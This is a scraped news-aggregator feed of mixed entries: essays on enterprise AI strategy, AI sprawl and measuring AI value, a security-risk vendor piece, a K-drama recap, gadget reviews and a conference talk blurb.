<p class="wp-block-paragraph">The AI companies understand this better than anyone. Sure, they’ll continue spending billions training ever more capable models because frontier models attract developers, generate headlines, and open enterprise doors. But they’re also quietly acknowledging that benchmark leadership alone doesn’t create a durable platform.</p>



<p class="wp-block-paragraph">Developers return to the places where their tools, workflows, teammates, and accumulated work already live. Enterprises double down on the systems where their data, permissions, governance, and business processes are already connected. Every new integration makes that destination a little harder to leave, and every new workflow increases its pull. That’s what MCP, A2A, etc., are all about: increasing gravity around the models.</p>



<p class="wp-block-paragraph">Every major AI company wants to become the place where AI-assisted work naturally happens, and they’re now amassing armies of forward deployed engineers and trying other means to get legacy infrastructure to tie back to their frontier models. The enterprise incumbents want the same thing, but from the opposite direction. They don’t need to own the frontier; instead they need to connect the frontier to the systems that already safely run the business.</p>



<p class="wp-block-paragraph">That’s why I’m skeptical whenever someone confidently predicts that AI will sweep away enterprise software. I’ve seen this movie before. Developers absolutely live on the frontier, but enterprises don’t. Enterprises create value by connecting new capabilities to decades of accumulated applications, data, policies, and business processes. The newest model matters, and so does the newest agent framework. But neither creates much business value until it’s connected to customer records, financial systems, supply chains, HR data, and everything else enterprises already depend on.</p>



<p class="wp-block-paragraph">That’s where incumbents still possess enormous gravitational pull. My employer, Oracle, certainly believes so, just as Microsoft, SAP, Salesforce, and ServiceNow do. (Disclosure: I run developer relations at Oracle, which participates in the Agentic AI Foundation.) Ironically, open protocols strengthen that position rather than weaken it. If every model can speak MCP and every agent can interoperate through common standards, enterprises gain the freedom to adopt whichever frontier technology looks best without rebuilding every integration. The protocol becomes interchangeable.</p>



<h2 class="wp-block-heading">Open standards don’t stop gravity</h2>



<p class="wp-block-paragraph">None of this diminishes the importance of open standards. MCP succeeded because it solves a genuine problem. Developers shouldn’t have to build a custom connector every time an AI application needs access to a database or other business system. Neutral governance also matters because nobody wants foundational infrastructure controlled by a direct competitor. But we shouldn’t confuse open interfaces with open markets.</p>



<p class="wp-block-paragraph">An enterprise may find it easy to swap one MCP-compatible model for another while still remaining deeply dependent on the place where its prompts, evaluations, security policies, and employee habits have accumulated. Again, we’ve seen this before. Kubernetes made workloads dramatically more portable without making AWS, Microsoft Azure, and Google Cloud interchangeable. SQL has been standardized for decades, yet databases remain fiercely differentiated businesses. Standards reduce friction, but they rarely eliminate competitive advantage. They simply move it.</p>



<p class="wp-block-paragraph">In like manner, Anthropic, Google, OpenAI, and others are happily standardizing how models, agents, tools, and enterprise systems communicate because they don’t expect the connection itself to determine the winner. Instead they expect to win by becoming the place where AI-assisted work naturally accumulates. Along the way, we’re going to see copious quantities of code given away, increasing developer productivity for all and outsized financial bonanzas for a few. Game on.</p>
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<title><![CDATA[Build specialized agent workflows for your business with Amazon Quick and NVIDIA NeMo Agent Toolkit]]></title>
<description><![CDATA[In this post, we show how Amazon Quick can serve as the business-user front door for specialized agent workflows. We use the NVIDIA NeMo Agent Toolkit to build a supply-chain risk example that helps a planner move from an Amazon Quick dashboard and knowledge context to a guided mitigation recomme...]]></description>
<link>https://tsecurity.de/de/3681791/ai-nachrichten/build-specialized-agent-workflows-for-your-business-with-amazon-quick-and-nvidia-nemo-agent-toolkit/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681791/ai-nachrichten/build-specialized-agent-workflows-for-your-business-with-amazon-quick-and-nvidia-nemo-agent-toolkit/</guid>
<pubDate>Mon, 20 Jul 2026 19:06:45 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In this post, we show how Amazon Quick can serve as the business-user front door for specialized agent workflows. We use the NVIDIA NeMo Agent Toolkit to build a supply-chain risk example that helps a planner move from an Amazon Quick dashboard and knowledge context to a guided mitigation recommendation.]]></content:encoded>
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<title><![CDATA[‘Spooky in Love’ Episode 2 Recap: Yeo-ri Reveals Her Secret]]></title>
<description><![CDATA[‘Spooky in Love’ Season 1, Episode 2 pushes Yeo-ri and Gang-uk into their first real investigation together, while a second murder mystery begins forming around a missing young woman.



The episode continues directly after Gang-uk nearly touches Yeo-ri’s bare hand. She pulls away before contact,...]]></description>
<link>https://tsecurity.de/de/3681766/ios-mac-os/spooky-in-love-episode-2-recap-yeo-ri-reveals-her-secret/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681766/ios-mac-os/spooky-in-love-episode-2-recap-yeo-ri-reveals-her-secret/</guid>
<pubDate>Mon, 20 Jul 2026 19:04:34 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[‘Spooky in Love’ Season 1, Episode 2 pushes Yeo-ri and Gang-uk into their first real investigation together, while a second murder mystery begins forming around a missing young woman.



The episode continues directly after Gang-uk nearly touches Yeo-ri’s bare hand. She pulls away before contact, protecting him from the supernatural consequences that she believes follow anyone she touches.




Release date: July 19, 2026



Streaming platform: Netflix



Original network: tvN



Genre: Romantic comedy, horror and fantasy



Total episodes: 12



Release schedule: New episodes every Saturday and Sunday



Main cast: Park Eun-bin, Yang Se-jong and Ong Seong-wu




The Korean drama premiered on July 18, 2026, and follows hotel CEO Cheon Yeo-ri, who can see ghosts, and prosecutor Ma Gang-uk, who investigates difficult murder cases. The series is based on the 2011 Korean film Spellbound.



Spoilers Ahead for ‘Spooky in Love’ Episode 2







Gang-uk questions Yeo-ri about how she found the buried victim from their first meeting. After trying to avoid his questions, she finally admits that a ghost showed her where the body was hidden.



Gang-uk does not believe her explanation and leaves, although the strange events surrounding Yeo-ri continue to challenge his logical view of the world.



Meanwhile, Gang-uk continues investigating professional golfer Park Seung-jae. Seung-jae was previously accused of killing his girlfriend, Jang Eun-ju, but used his family’s political influence and lack of evidence to escape conviction.



Yeo-ri openly tells Seung-jae that she dislikes him. She also reveals that Eun-ju visited her before her death and said she was pregnant with his child. Seung-jae denies responsibility, but his aggressive reaction makes him appear even more suspicious.



Eun-ju’s Ghost Leads Them to the Truth



Eun-ju’s ghost later appears before Yeo-ri, confirming that she was murdered. Gang-uk studies the available evidence and develops a theory that Seung-jae disguised himself as a woman before hiding Eun-ju’s body inside a hotel water tank.



When Gang-uk reaches the tank, he finds Yeo-ri already there. Together, they discover Eun-ju’s remains, giving Gang-uk the evidence required to arrest Seung-jae.



The case establishes how useful Yeo-ri’s ability can become during murder investigations. Gang-uk provides legal knowledge and careful reasoning, while Yeo-ri receives information directly from victims who can no longer speak for themselves.



Min-hwan Enters Yeo-ri’s Life



Episode 2 also introduces Kang Min-hwan, Yeo-ri’s childhood friend and another hotel executive. He wants to develop a business relationship with her, although his reaction to Gang-uk suggests that his interest is also personal.



A booking mistake places Yeo-ri and Gang-uk in the same hotel room. They eventually wake up in the same bed and panic, creating one of the episode’s lighter moments. Min-hwan clearly dislikes seeing them together, setting up a possible romantic rivalry.



A New Missing-Person Case Begins



The closing section introduces an elderly woman searching for her missing granddaughter, Jung Hae-na, an aspiring fashion designer.



Hae-na appears connected to a famous designer holding an event at Min-hwan’s hotel. The circumstances surrounding her disappearance suggest that Yeo-ri and Gang-uk will soon face another case involving powerful people and hidden abuse. AsianWiki lists the Jung Hae-na storyline across Episodes 2 and 3, confirming that the mystery will continue in the next chapter.



‘Spooky in Love’ Episode 2 gives its central partnership a clearer purpose while developing the romance, the supernatural rules and the next investigation. What do you think happened to Hae-na, and will Min-hwan come between Yeo-ri and Gang-uk? Let us know in the comments.]]></content:encoded>
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<title><![CDATA[I loved this portable DIY 35mm film scanner with built-in light, and it could save me a lot of money — but it’s not as simple as it sounds]]></title>
<description><![CDATA[I have fallen in love with this scanner, but its equipment requirements mean it's not for everyone.]]></description>
<link>https://tsecurity.de/de/3681572/it-nachrichten/i-loved-this-portable-diy-35mm-film-scanner-with-built-in-light-and-it-could-save-me-a-lot-of-money-but-its-not-as-simple-as-it-sounds/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681572/it-nachrichten/i-loved-this-portable-diy-35mm-film-scanner-with-built-in-light-and-it-could-save-me-a-lot-of-money-but-its-not-as-simple-as-it-sounds/</guid>
<pubDate>Mon, 20 Jul 2026 17:49:15 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[I have fallen in love with this scanner, but its equipment requirements mean it's not for everyone.]]></content:encoded>
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<title><![CDATA[AI adoption and business acceleration are changing the expectations of technology risk management]]></title>
<description><![CDATA[As AI becomes embedded in customer experiences, internal workflows, and throughout the supply chain, security leaders are being asked to do more than manage risk. They are being asked to help the business make more informed decisions and move faster.



At the same time, AI has evolved faster tha...]]></description>
<link>https://tsecurity.de/de/3681443/it-security-nachrichten/ai-adoption-and-business-acceleration-are-changing-the-expectations-of-technology-risk-management/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681443/it-security-nachrichten/ai-adoption-and-business-acceleration-are-changing-the-expectations-of-technology-risk-management/</guid>
<pubDate>Mon, 20 Jul 2026 16:55:00 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">As AI becomes embedded in customer experiences, internal workflows, and throughout the supply chain, security leaders are being asked to do more than manage risk. They are being asked to help the business make more informed decisions and move faster.</p>



<p class="wp-block-paragraph">At the same time, AI has evolved faster than the programs built to govern it.</p>



<p class="wp-block-paragraph">The result is a widening gap between the pace of transformation and the ability of security, risk, privacy, compliance, and third-party risk teams to understand where the business is exposed.</p>



<h3 class="wp-block-heading"><strong>Move Fast, Don’t Break Things</strong></h3>



<p class="wp-block-paragraph">AI introduces risks like prompt injection and jailbreaks, but the issues keeping CISOs awake at night are more familiar: over-permissioned accounts, poor logging, credentials left in old repositories, sensitive data scattered across systems, and weak access controls. </p>



<p class="wp-block-paragraph">AI gives those risks more speed, reach, and impact. </p>



<p class="wp-block-paragraph">When AI agents are connected to enterprise data, workflows, vendors, and applications, the blast radius of existing weak spots expands quickly. A low-severity incident now becomes harder to detect, more difficult to remediate, and more consequential for the business. </p>



<p class="wp-block-paragraph">This is why boards and executive teams are looking to security leaders for proactive guidance. They want to know whether the business can adopt AI at scale without creating risk that undermines long-term value. </p>



<p class="wp-block-paragraph"><em>“Tell us, in real time, which initiatives are safe to accelerate, where we’re exposed, what could slow down our transformation, and what we need to act on right now.”</em></p>



<p class="wp-block-paragraph">The CISO mandate has evolved from risk reporting to innovation enablement. </p>



<h3 class="wp-block-heading"><strong>When Everything is a Risk, Nothing is a Priority</strong></h3>



<p class="wp-block-paragraph">In many organizations, risk context is spread across multiple teams. Security, procurement, privacy, IT, and third-party risk each have their own view.   </p>



<p class="wp-block-paragraph">That fragmentation creates blind spots. </p>



<p class="wp-block-paragraph">Consider an AI agent that can retrieve customer records, access internal knowledge bases, and trigger downstream workflows. Security may know the agent exists, IT may know where it’s deployed, and procurement may know who purchased it. </p>



<p class="wp-block-paragraph">Without a holistic view, however, it becomes difficult to determine whether the agent has the right permissions, if it is operating within policy, or how it could expose the business.</p>



<p class="wp-block-paragraph">But visibility is only half the battle. As AI systems, identities, vendors, and data change at a dizzying scale, organizations need to understand whether policy is actually being followed in real time.</p>



<p class="wp-block-paragraph">A control that was effective six months ago may no longer suffice after a new AI integration, a vendor update, or a change in permissions. </p>



<p class="wp-block-paragraph">Today’s systems are too dynamic to be governed by the same operating model that worked for yesterday’s tech stack. </p>



<h3 class="wp-block-heading"><strong>From Risk Review to Risk Decisioning</strong></h3>



<p class="wp-block-paragraph">CISOs are now being asked to help the business decide—quickly and defensibly—what can move forward, what needs guardrails, and what should stop. Meeting that mandate requires a different approach: </p>



<ul class="wp-block-list">
<li>Treat AI risk as part of enterprise risk, not a separate discipline. AI is embedded in the same decisions organizations already make about data, vendors, identities, controls, and business processes.</li>



<li>Start with the business process and context, not the model. Understand what processes depend on this system, the data it touches, and what happens if it fails. </li>



<li>Move from one-time approval to continuous assurance. What matters isn’t whether an AI project passed review six months ago, but whether it is operating within the organizations policies and risk appetite today.</li>



<li>Measure decision velocity. Demonstrate how quickly the organization is able to determine what moves forward, what needs guardrails, and what must stop.</li>
</ul>



<p class="wp-block-paragraph">When risk is connected across the business, priorities become clear. Security leaders can understand not just what needs to be addressed, but what matters most, who owns it, and what the business impact could be. </p>



<p class="wp-block-paragraph">When there is a shared understanding of approved use, teams can move faster without relying on ad hoc reviews, static questionnaires, or blanket restrictions. The goal is to make technology and third-party risk visible, prioritized, and actionable at the speed the business now operates.</p>



<p class="wp-block-paragraph">That shift helps <a href="https://www.onetrust.com/solutions/security-and-risk-teams/">security leaders</a> say “yes” with confidence.</p>



<h3 class="wp-block-heading"><strong>Safeguard Transformation and Scale Innovation</strong></h3>



<p class="wp-block-paragraph">I know the pressure many CISOs are carrying right now. Your scope is getting larger while resources continue to shrink. </p>



<p class="wp-block-paragraph">Your leadership is asking you to protect every facet of the organization, support growing risk and compliance requirements, and now, to be a key voice in guiding business strategy.  </p>



<p class="wp-block-paragraph">When you have clarity on what risks truly matter and have the tools to take action, your risk program can become a driver of responsible and scalable innovation. </p>



<p class="wp-block-paragraph"><em>OneTrust helps build risk and compliance programs aligned with the complexity and the speed of your business. </em><a href="https://www.onetrust.com/forms/talk-to-a-risk-expert/"><em>Learn more about our integrated risk solutions.</em></a><em></em></p>
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<title><![CDATA[AI’s problems aren’t what you think]]></title>
<description><![CDATA[The biggest and loudest prediction about AI is that it will eliminate millions of jobs. It is dramatic and easy to repeat. But from what I’ve seen, inside most enterprises the more immediate problem has turned out to be something else entirely: a growing mass of tools, agents, models and usage co...]]></description>
<link>https://tsecurity.de/de/3681198/it-security-nachrichten/ais-problems-arent-what-you-think/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681198/it-security-nachrichten/ais-problems-arent-what-you-think/</guid>
<pubDate>Mon, 20 Jul 2026 15:08:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The biggest and loudest prediction about AI is that it will <a href="https://www.axios.com/2025/05/28/ai-jobs-white-collar-unemployment-anthropic">eliminate</a> millions of jobs. It is dramatic and easy to repeat. But from what I’ve seen, inside most enterprises the more immediate problem has turned out to be something else entirely: a growing mass of tools, agents, models and usage costs spreading faster than most organizations can govern or connect to real business value, also known as <a href="https://www.ibm.com/think/topics/ai-agent-sprawl">AI sprawl.</a></p>



<p class="wp-block-paragraph">None of that invalidates the initial fear. Indeed, AI can clear backlogs, speed up analysis, draft usable content and reduce time spent on repetitive work. In my opinion, what goes wrong is the assumption that those gains will scale seamlessly, and that more AI will automatically produce more value.</p>



<p class="wp-block-paragraph">What really matters is not only how much AI a company can deploy, but whether its use fits inside a growth strategy, an operating model and an organization that can use it well.</p>



<p class="wp-block-paragraph">The early results of AI use made the logical progression feel obvious, even a foregone conclusion. If it could already improve output in narrow use cases, then broader deployment should produce broader gains. Simple! Better models were expected to deliver better results. More agents were expected to drive more automation. For many companies, this logic held for long enough to encourage overexpansion.</p>



<p class="wp-block-paragraph">But this logic has started to break down as usage continues to scale. I’ve seen returns diminish much quicker than expected. To illustrate, one <a href="https://www.businessinsider.com/ai-tokenmaxxing-fails-as-productivity-strategy-jellyfish-2026-5?utm">industry analysis</a> found that developers who used AI most heavily produced about twice the output of moderate users, but consumed roughly ten times the compute.  </p>



<p class="wp-block-paragraph">At a certain point, more AI does not create proportionally more value – it simply becomes more expensive. But where, exactly?</p>



<h2 class="wp-block-heading">From experimentation to sprawl</h2>



<p class="wp-block-paragraph">Experimentation played a key role in this downturn, but it’s not the culprit. As AI continues to sprawl, the problem continues that AI is spreading faster than most companies can coordinate. Teams often solve the same problem in parallel, paying for overlapping capabilities and layering new tools atop existing ones without any clear inventory of what ‘s already in place. What can appear as momentum is really turning into redundancy.</p>



<p class="wp-block-paragraph">I’ve seen versions of this play out repeatedly. At one financial firm, several business units were pursuing AI projects aimed at automating research and reporting. Each team moved independently; selecting their own tools, building their own workflows and creating separate data pipelines, with little to no coordination between teams. In some cases, different groups were developing nearly identical capabilities without realizing it, solving the same problems twice without any shared visibility into each other’s work.</p>



<p class="wp-block-paragraph">Individually, the projects showed real promise. Collectively, the projects created duplication, fragmented data and inconsistent standards business and enterprise wide.</p>



<p class="wp-block-paragraph">By the time leadership stepped back to assess, the company found itself paying for overlapping capabilities, maintaining multiple versions of the same underlying data, and struggling to determine which solutions were actually delivering value versus which were simply consuming budget and eating at engineering time.</p>



<p class="wp-block-paragraph">Perhaps most troubling: nobody at the enterprise level had a complete view of what was being built, by whom or why. What began as healthy, well-intentioned experimentation had, without anyone deciding it should, evolved into full-blown AI sprawl, creating a patchwork of disconnected initiatives that was difficult to govern, harder to secure and far more expensive than a coordinated approach could and should be.</p>



<p class="wp-block-paragraph">Early wins encourage a still wider rollout, but many organizations expand usage before they put real controls in place. Experimentation becomes sprawl. Budgets grow quickly, and few leaders have a reliable view of who is using what or why.</p>



<h2 class="wp-block-heading">AI strategy cannot sit beside growth strategy</h2>



<p class="wp-block-paragraph">This is where I see many companies still get the issue wrong. They treat AI and growth strategy as two separate efforts, then wonder how adoption gets so messy. A business cannot drop AI into its operations and expect momentum to take over. The technology has to support a clear path to growth, whether that means improving margin, speed, service, capacity or decision-making. At the same time, growth plans cannot assume AI changes nothing about delivery, design or operating leverage. The real challenge is in ensuring the two work together.</p>



<p class="wp-block-paragraph">Personally, I’ve seen better results when AI initiatives are tied to a specific business objective from the beginning, rather than launched as broad, abstract or transformative effort. One mattress retailer I’ve worked with took this approach, starting with a single, focused and well-defined use case rather than trying to transform or overhaul the entire organization at once. The company introduced an AI-powered training platform for store associates, giving employees a low-pressure way to practice sales conversations and product recommendations before applying them to external situations with customers on the floor.</p>



<p class="wp-block-paragraph">Because employees experienced immediate and tangible value from the tool, adoption spread quickly across locations, with minimal need for top-down mandates. Early, visible success helped to build internal credibility and generate momentum, which leadership then leveraged to expand into more complex AI initiatives across areas such as inventory management, demand forecasting and replenishment planning.</p>



<p class="wp-block-paragraph">Ultimately, the technology succeeded not because it was innovative for its own sake, but because it was connected to a larger growth strategy: improving sales effectiveness on the floor, driving operational efficiency behind the scenes and strengthening workforce capability at entry level. A major lesson we walked away with here was that starting small and specific, with a clear throughline to business value creates a strong foundation for sustainable and scalable AI use.</p>



<h2 class="wp-block-heading">What implementation actually takes</h2>



<p class="wp-block-paragraph">All this takes more than a few easy guardrails. It takes strategy. Leaders need a real inventory of the tools, agents and assistants already in use across the business, who owns them, what data they can access and everything that they support.</p>



<p class="wp-block-paragraph">They also need financial controls that match the economics of token-based usage, including role-based access, thresholds and review processes that make spend visible before it becomes a surprise. Similarly, they need metrics that go beyond mere activity. More prompts do not mean more value. If a deployment cannot be tied to throughput, margin, quality, cycle time or another tangible result, it is still unfinished.</p>



<p class="wp-block-paragraph">This is also why blunt shutdowns rarely work. If leaders clamp down too hard, employees often move to unsanctioned tools and create a larger <a href="https://www.paloaltonetworks.com/cyberpedia/what-is-shadow-ai">shadow AI</a> problem, or the unauthorized use of artificial intelligence tools, models or chatbots by employees, without the knowledge or approval of IT and security teams, with even less visibility and more risk. The better answer is disciplined adoption: clear ownership, rules, metrics and enough flexibility for teams to use AI where it works.</p>



<p class="wp-block-paragraph">That matters for the people as much as it does for the budget. Those that modernize well end up with <em>better</em> work – not just less of it.</p>



<p class="wp-block-paragraph">The story of the moment isn’t about AI replacing people – or even AI in general. It’s about whether companies know their own businesses well enough to keep incorporating powerful new tools without mistaking activity for progress. As technological capabilities continue to appear, the winners will be the organizations that understand where it belongs, what it can improve and how to turn each new wave into something permanent.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Lights, Spectrometer, Action! (emf2026)]]></title>
<description><![CDATA[Come and watch me point a spectrometer at a load of things, and teach you about how light interacts with stuff. What’s a spectrometer, you ask? Well it’s a device that measures light and produces a graph of the brightness of the light at each wavelength. I inherited one last year, and this talk w...]]></description>
<link>https://tsecurity.de/de/3681056/it-security-video/lights-spectrometer-action-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681056/it-security-video/lights-spectrometer-action-emf2026/</guid>
<pubDate>Mon, 20 Jul 2026 13:48:48 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Come and watch me point a spectrometer at a load of things, and teach you about how light interacts with stuff. What’s a spectrometer, you ask? Well it’s a device that measures light and produces a graph of the brightness of the light at each wavelength. I inherited one last year, and this talk will mainly consist of live demos of the spectrometer, along with explanations of what we’re seeing and how it works. The talk will be accessible to almost anyone - you don't need a lot of science knowledge to be able to enjoy it!

I’ll start with looking at some different light sources (incandescent bulbs, fluorescent bulbs, LEDs, sunlight, LCD displays) and then take a look at how a spectrometer works and what is inside the box. I’ll then introduce some other useful bits of kit, including a very expensive sheet of white plastic and a ‘sphere’ that has a surprisingly cuboid shape.

My background is in satellite imaging - which basically uses spectrometers mounted on satellites - so we’ll do a live look at the reflectance graphs we get for things we might be able to see from a satellite, like vegetation, soil and water and try to understand what causes these specific spectra. We’ll link these to real satellite images and cover some of the problems with doing spectroscopy from space - and even explain why a friend of mine did a whole PhD on the reflectance spectra of a concrete runway in the UK.

Finally we’ll try a few experiments that may or may not work, looking at the uses of spectroscopy in chemistry and measuring aerosols.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/51-lights-spectrometer-action]]></content:encoded>
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<title><![CDATA[I've reviewed or covered about 17 power banks — and Iniu's chic MagSafe 45W is the first one that feels like it actually has some personality]]></title>
<description><![CDATA[Super slim, fast-charging, an LCD panel and a discreet cable — Iniu's 45W MagSafe power bank has pretty much everything I could want from a portable phone charger.]]></description>
<link>https://tsecurity.de/de/3680971/it-nachrichten/ive-reviewed-or-covered-about-17-power-banks-and-inius-chic-magsafe-45w-is-the-first-one-that-feels-like-it-actually-has-some-personality/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680971/it-nachrichten/ive-reviewed-or-covered-about-17-power-banks-and-inius-chic-magsafe-45w-is-the-first-one-that-feels-like-it-actually-has-some-personality/</guid>
<pubDate>Mon, 20 Jul 2026 13:17:12 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Super slim, fast-charging, an LCD panel and a discreet cable — Iniu's 45W MagSafe power bank has pretty much everything I could want from a portable phone charger.]]></content:encoded>
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<title><![CDATA[With AI, activity is not value]]></title>
<description><![CDATA[The emergence of artificial intelligence is beginning to expose a profound weakness in the way modern enterprises measure performance.



For decades, business evaluation systems have been built around the logic of the industrial and transactional economy. Revenue growth, operating margins, earni...]]></description>
<link>https://tsecurity.de/de/3680938/it-security-nachrichten/with-ai-activity-is-not-value/</link>
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<pubDate>Mon, 20 Jul 2026 13:08:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
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<p class="wp-block-paragraph">The emergence of artificial intelligence is beginning to expose a profound weakness in the way modern enterprises measure performance.</p>



<p class="wp-block-paragraph"><a href="https://techeconomists.com/why-the-world-needs-new-economic-indicators/">For decades</a>, business evaluation systems have been built around the logic of the industrial and transactional economy. Revenue growth, operating margins, earnings per share, labor productivity, return on investment and market share became the dominant indicators of organizational success because they reflected the economic realities of a world in which value creation was primarily tied to physical production, labor efficiency, scale and later the automation of information processing. AI, however, is altering the very structure of enterprise value creation, and in doing so it is creating a widening separation between perceived future value and actual realized economic performance.</p>



<p class="wp-block-paragraph">Much of the current discussion <a href="https://howardarubin.substack.com/p/why-ai-roi-is-so-darn-hard-to-measure">surrounding AI performance measurement</a> reflects this tension. The overwhelming majority of AI-related metrics being celebrated today are not direct measures of realized enterprise outcomes. They are largely indicators of capability formation, market positioning, experimentation or investor signaling. Metrics such as AI spending levels, number of AI use cases, GPUs deployed, copilots implemented, models placed into production, AI hiring growth or agentic AI pilots all serve primarily as proxies for anticipated future advantage. These indicators may influence stock valuations, analyst sentiment and strategic narratives, but their relationship to measurable operational performance is often indirect, delayed or in some cases entirely speculative.</p>



<p class="wp-block-paragraph">This distinction is critically important because capital markets have historically rewarded the <em>expectation</em> of technological transformation long before actual economic results materialized. During previous technological revolutions—including electrification, enterprise resource planning, the internet, cloud computing and mobile platforms—valuation expansion frequently preceded measurable productivity gains by many years. The market priced future possibility before operational economics caught up. In many instances, investors rewarded firms simply for appearing strategically aligned with the dominant technological shift of the era. AI appears to be following a similar trajectory.</p>



<p class="wp-block-paragraph">The phenomenon resembles the famous <a href="https://www.brookings.edu/articles/the-solow-productivity-paradox-what-do-computers-do-to-productivity/">productivity paradox</a> articulated by economist Robert Solow, who observed that “you can see the computer age everywhere but in the productivity statistics.” AI today is visible everywhere: in investor presentations, earnings calls, technology conferences, product announcements and boardroom strategies. Yet in many industries, its measurable contribution to enterprise productivity, profitability or economic resilience remains difficult to isolate with precision. This does not necessarily mean AI lacks value. Rather, it reflects the reality that traditional accounting and performance systems were never designed to measure the forms of value AI increasingly produces.</p>



<p class="wp-block-paragraph">Artificial intelligence creates benefits that are often diffuse, cumulative and difficult to attribute directly to financial outcomes. AI may improve forecasting accuracy, reduce fraud, accelerate decision cycles, augment employee effectiveness, improve customer interactions, optimize logistics or enhance cybersecurity resilience. These benefits frequently manifest as second-order effects distributed across the enterprise rather than as immediately visible financial events. The causal chain between AI investment and realized business performance can therefore become extraordinarily difficult to quantify. A company may become operationally more intelligent without immediately becoming measurably more profitable.</p>



<p class="wp-block-paragraph">At the same time, AI introduces a profound danger: organizations may increasingly optimize for technological narrative rather than durable enterprise economics. Many firms today are pursuing AI primarily because markets reward the appearance of AI leadership. Investor enthusiasm, analyst pressure and competitive fear create incentives to demonstrate visible AI activity <a href="https://howardarubin.substack.com/p/talking-about-ai-value-is-like-talking">regardless of whether measurable economic value has actually been achieved</a>. In this environment, AI metrics can easily become instruments of valuation signaling rather than instruments of operational truth.</p>



<p class="wp-block-paragraph">This distinction between signaling and substance may become one of the defining economic challenges of the AI era. An organization may announce aggressive AI deployment programs, reduce headcount and report short-term margin improvements while simultaneously increasing hidden forms of technological fragility. Infrastructure costs may rise dramatically as GPU consumption, cloud usage, data engineering requirements and cybersecurity complexity expand. Technical debt may accelerate as AI-generated code proliferates without sufficient architectural discipline. Institutional knowledge may erode as organizations become excessively dependent on opaque models and automated systems. Long-term innovation capacity may weaken if enterprises divert disproportionate resources toward maintaining internally generated AI systems rather than building new strategic capabilities.</p>



<h2 class="wp-block-heading">What measuring AI value might actually look like</h2>



<p class="wp-block-paragraph">The distinction between AI activity and AI value becomes clearer when viewed through the kinds of measures organizations choose to track. Many enterprises today emphasize indicators such as the number of AI models deployed, copilots implemented, agents created, prompts executed, tokens consumed or employees using AI tools. These metrics demonstrate adoption and technological activity, but they reveal relatively little about whether AI is producing meaningful business outcomes.</p>



<p class="wp-block-paragraph">Measures of enterprise value look quite different. A manufacturer might evaluate whether AI improves demand forecasting accuracy enough to reduce inventory carrying costs or stockouts. A financial institution might measure whether AI meaningfully lowers fraud losses, accelerates loan processing or improves regulatory compliance. A healthcare provider could assess reductions in administrative burden, faster clinical decision support or improvements in patient throughput. In each case, the objective is not simply to measure AI deployment, but to determine whether AI creates measurable improvements in operational performance, economic outcomes or organizational resilience.</p>



<p class="wp-block-paragraph">Ultimately, organizations may need to ask a different question: not “How much AI are we using?” but “How much business value does each unit of AI investment create?” That shift—from measuring technological activity to measuring economic outcomes—may become one of the defining management disciplines of the AI era.</p>



<p class="wp-block-paragraph">Under traditional accounting frameworks, many of these deteriorations remain largely invisible. Quarterly earnings may improve even as underlying enterprise resilience declines. Stock prices may rise even as operational complexity becomes increasingly unsustainable. In this sense, the AI era threatens to widen the gap between financial appearance and organizational reality.</p>



<p class="wp-block-paragraph">This is why the future of enterprise measurement cannot simply involve adding AI metrics to existing financial scorecards. The challenge is far deeper. AI forces a reconsideration of what business performance actually means. Historically, enterprises were measured largely through static indicators of efficiency and output. Increasingly, however, competitive advantage may depend less on traditional efficiency and more on adaptive intelligence: the ability of an organization to learn faster, make better decisions, integrate human and machine capabilities effectively, manage technological complexity sustainably and convert computational power into durable economic outcomes.</p>



<p class="wp-block-paragraph">The most important future performance measures may therefore revolve around questions traditional accounting rarely addresses. How effectively does an enterprise convert technology investment into sustainable business capability? How economically efficient are its AI operations relative to the value they generate? How resilient is the organization to AI failure, cybersecurity disruption or infrastructure inflation? How successfully does it preserve and amplify human expertise rather than simply eliminate labor? How rapidly can it learn, adapt and operationalize new knowledge?</p>



<p class="wp-block-paragraph">These are not merely technology questions. They are questions of enterprise economics, organizational sustainability and long-term competitive viability.</p>



<p class="wp-block-paragraph">The companies that ultimately succeed in the AI era may not be those with the largest AI budgets, the greatest number of pilots or the most aggressive automation programs. They may instead be the firms that best understand the economics of technological capability itself: organizations capable of balancing innovation with resilience, automation with human augmentation and technological ambition with sustainable operational design.</p>



<p class="wp-block-paragraph">The coming decade is therefore likely to produce a widening divide between enterprises optimizing for AI-driven valuation narratives and enterprises optimizing for measurable, durable economic performance. In the short term, these may appear to be the same thing.</p>



<p class="wp-block-paragraph">Over time, however, the distinction will become increasingly visible. Some organizations will discover that AI has enhanced genuine enterprise capability. Others will discover that they merely optimized the appearance of transformation while silently accumulating new forms of economic and operational risk.</p>



